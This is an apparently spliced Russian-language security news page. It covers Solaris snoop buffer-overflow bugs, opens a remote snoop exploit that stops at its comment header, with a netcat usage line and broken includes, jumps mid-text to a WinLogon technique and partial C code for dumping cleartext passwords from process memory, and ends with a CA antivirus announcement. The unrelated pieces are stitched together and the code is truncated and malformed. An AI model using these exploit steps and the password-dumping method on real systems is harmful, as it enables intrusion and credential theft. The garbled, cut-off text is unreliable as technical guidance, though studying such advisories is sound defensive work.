Подразделение
Internet Security Systems (ISS) X-Force нашло переполнение буфера
в программе snoop (аналог tcpdump, только под Solaris). Snoop -
это сниффер, обычно используемый для анализа
сетевого трафика и для контроля работы сети.
Найденная ошибка позволяет получить доступ к
системе на которой запущен snoop Уязвимая версия
поставлялась со всеми ОС Solaris 2.х и является
стандартной утилитой в этой системе.
ОШИБКА:
Переполнение буфера происходит тогда, когда snoop, запущенный с флагом -vанализирует
и расшифровывает трафик некоторых специфичных rpc запросов. Если при декодировании
rpc-запроса GETQUOTA к сервису rquotad в качестве одного
из аргументов передается длинная строка, то
может произойти переполнение буфера, которое
позволит злоумышленникам запустить код в стеке
системы.
RPC Сервис rquotad использюется для получения
дисковых квот пользователей работающих в
локальной системе на дисках замонтированных по
NFS. Это переполнение позволяет знающим людям
захватить контроль над системой с запущенной
прогой snoop.
Другая ошибка (найденная группой w00w00) ( насколько
мне известно патч еще не опубликовали) тоже
позволяет получить доступ к системе опять же
через переполнение стека в программе snoop. Она уже
не требует флага -v, и любой
запустивший непропатченный snoop оказывается
уязвимым.
Естественно, необходимым условием является то,
что snoop должен быть запущен во время атаки на
систему. При запуске он автоматически переводит
сетевой интерфейс в режим приема всех пакетов
(promisc) что позволяет злоумышленнику получить
доступ к системе, не зная точный адрес машины на
которой запущен snoop (может даже и не одной). Также
убирание promisc бита из флагов сетевого устройства
не является защитой от возможного переполнения,
т.к. пакет может быть послан прямо на ip адрес
машины.
Ошибки были найдены и подтверждены в утилите snoop,
поставляемой со следующими системами: Solaris 2.4, 2.5, 2.5.1, 2.6, и 2.7.
РЕКОМЕНДАЦИИ
Администраторам не рекомендюется запускать snoop
на firewallах, т.к. это позволит обходить некоторые
правила файрвола.
Sun Microsystems выпустила патчи для всех версий. их
можно найти по адресу:
Приведенная ниже программа является эксплоитом
для второй ошибки описанной немного выше. суть ее
таже - получение доступа к удаленной системе с
правами пользователя который запустил snoop
(обычно это пользователь с uid=0 - root). Программа
генерирует строку нужной длины, со shell-кодом
открывающим sh на tcp порту ingreslock
/*
by: K2,
version .2
this is a funny Solaris.
remote Solaris 2.7 x86 snoop exploit
rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
run with ( ./snp ) | nc -u target_host_network 53
requires target host to be running "snoop"
verified with patch 108483-01
thx str/horizon for shellcodes. Hi plageuz
Hi mom.
*/
#include <unistd.h<
#include <stdio.h<
#include <stdlib.h<
#include <string.h<
Так как в принципе, потребуются
права администратора, чтобы заняться социальной
инженерией или же запуском эксплоита, это по
умолчанию является нонсенвом, потому что перед
этим потребуется получить администраторские
права. MICROSOFT был оповещe:н о нижеследующей
уязвимости и указало, что данная уязвимость была
ликвидирована в SP5. Так же в документации к SP5
ничего не говорилось об сделанных изменениях -
скорее всего, корпорация решила умолчать об
уязвимости.
Главная идея в том, что когда запускается процесс
WinLogon (OpenProcess) при помощи функции PROCESS_VM_READ, и затем
виртуальная память читается при помощи ReadProcessMemory
- несколько сотен первых байт (в форме переменных
окружения в формате Unicode) и есть имя и пароль
пользователя, дважды и открытым текстом, и в
формате,удобном для понимания.
Итак, ниже приводится
демонстрационный эксплоит:
/****************************
* dumpvmem
*
* программа дампит перепенные окружения процесса
в файл
* для дальнейшего просмотра. Для запуска
необходимы права администратора
* В первой сотне байт будут пароли пользователя
*
* Robert Horvick [Kanin] Great Plains Software
* 12/2/1999 rhorvick@acm.org
*
*
* Command Line
* pid - decimal process id
* szPath - path to the file to dump memory to
*
****************************/
#include <windows.h> #include <stdio.h>
/*
* Highly inefficient - allocations occur in page size minimums.
* They should be used for real work. Since
* the password shows up so quickly ... meh.
*/
DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
{
LPSTR lpOffset = (void*)1;
CHAR vBuf[1];
DWORD dwRead = 0;
BOOL bLastRead = FALSE;
DWORD dwDumpedBytes = 0;
CA предлагает домашним пользователям
бесплатную антивирусную программу InoculateIT
Компания
Computer Associates International, Inc. (CA) объявила о том, что все
домашние пользователи компьютеров могут
бесплатно загрузить с сайта http://antivirus.cai.com новую
версию антивирусной программы InoculateIT - InoculateIT
Personal Edition 5.0. CA собирается производить бесплатное
еженедельное обновление вирусных баз данных для
этого ПО и осуществлять техническую поддержку
этого продукта.
По сообщению
разработчика, в новую версию InoculateIT включены
некоторые дополнения и усовершенствования:
функция автоматического обновления ПО,
усовершенствованная технология обнаружения
вирусов, полная поддержка неанглийских сред,
сканирование новых типов файлов (например, PowerPoint
и RTF) и поддержка Office 2000.
InoculateIT Personal
Edition 5.0
автоматические обнаруживает и удаляет файловые
вирусы, вирусы загрузочного сектора,
макро-вирусы и вирусы-черви. Программа
сертифицирована на совместимость с датами 2000 г.,
она предназначается для ПК с ОС Windows 95, Windows 98 и
Windows NT Workstation 4.0.